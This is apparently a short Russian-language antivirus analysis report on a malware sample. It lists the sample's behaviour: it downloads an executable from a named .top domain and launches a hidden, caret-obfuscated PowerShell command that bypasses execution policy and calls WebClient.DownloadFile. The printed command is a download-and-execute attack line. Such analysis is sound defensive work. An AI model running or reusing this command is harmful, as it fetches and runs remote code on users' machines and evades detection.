Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://folueaport.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^OWERsHeLl.^EX^e ^-EX^E^C^UTiO^N^po^L^icY b^Y^PasS -n^Op^r^o^FiLe ^-w^indO^w^St^Y^L^E ^h^I^DDen^ (N^e^w-OBJEC^T sY^S^Te^m^.nET.^wE^BC^L^ienT).DO^wn^LoAdfiLE('http://folueaport.t...
Сетевая активность
UDP
- DNS ASK fo###aport.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^OWERsHeLl.^EX^e ^-EX^E^C^UTiO^N^po^L^icY b^Y^PasS -n^Op^r^o^FiLe ^-w^indO^w^St^Y^L^E ^h^I^DDen^ (N^e^w-OBJEC^T sY^S^Te^m^.nET.^wE^BC^L^ienT).DO^wn^LoAdfiLE('http://folueaport.t...' (со скрытым окном)
